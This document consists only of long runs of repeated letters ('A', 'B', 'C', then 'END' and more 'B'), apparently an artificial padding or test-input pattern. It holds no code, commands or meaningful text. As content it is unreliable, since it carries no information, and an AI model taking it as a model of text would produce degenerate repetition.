AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCENDBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB